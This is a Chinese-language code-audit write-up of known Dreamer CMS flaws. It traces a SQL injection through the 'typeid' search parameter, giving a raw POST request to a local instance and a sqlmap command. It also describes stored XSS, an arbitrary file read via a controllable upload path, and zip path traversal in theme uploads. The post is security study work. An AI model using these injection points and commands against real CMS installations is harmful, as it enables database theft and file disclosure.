刚开始入门代码审计,在网上看到了一些关于这个cms的漏洞,自己手动分析一下,项目地址
下载仓库 · www.iteachyou.cc/Dreamer CMS(梦想家CMS内容管理系统) - Gitee.com
一 SQL注入
1 admin搜索
全局搜索${
定位到ArchivesMapper.xml下的queryByKeywords语句,可以看出typeid这里存在sql的注入点
寻找函数调用点
可以看出调用为admin/search/dosearch 这个其实就是admin下的全局搜索功能
默认搜索entity中参数为keyword,我们手动替换为typeid
sqlmap
2 前台搜索
这个方法在另一处也有调用,跟踪一下可以发现是前端的相同位置search功能处
当然,手动添加typeid字段
POST /search HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 34
Cache-Control: max-age=0
sec-ch-ua: "Not=A?Brand";v="99", "Chromium";v="118"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: BRPcM_admin_username=6876tBBUp5geSxCQN5sA1iKcxHKWIYz21qWkazG8S7yeLg; BRPcM_siteid=d932okj60sk0B9TkqM1wpAl87Z7cVJGoQaDRLspG; BRPcM_userid=f73dmCvThxA-y9q6p7E4mTCO1Yu7GN2Md5i5VRay; BRPcM_admin_email=d4adXnvKveOWi9fo2VEdwAuaB8F34r9gqTCJ-An7Vr_H5Pge; BRPcM_sys_lang=95b7Z8OobH3UEBHG6reEsIAHxg3si_OotB0pwqWUH0FmZg; dreamer-cms-s=bb802263-e771-4323-9f5e-9538a81148f9
Connection: closeentity%5B%27keywords%27%5D=qwert&entity%5B%27typeid%27%5D=1
sqlmap
python sqlmap.py -r D:\TestData\sql.txt --dbms mysql --level=5 -p entity%5B%27typeid%27%5D
二 XSS
1 编辑栏目
未做过滤直接执行update操作
2 前台评论
原理相同,不分析啦
三 任意文件读取
1 上传附件
漏洞存在于上传附件时filepath可控
没有任何过滤将其保存,导致当访问原本文件时可以访问我们构造的文件路径,造成任意文件读取
2 Zip处导致任意文件读取
上传主题zip包处未对zip内容进行校验(主要未校验解压后的“../../../../”字段)
修改默认的theme.json
打包上传后模板管理处查阅任意文件
还有一个计划任务执行jar导致的RCE漏洞,在此先不分析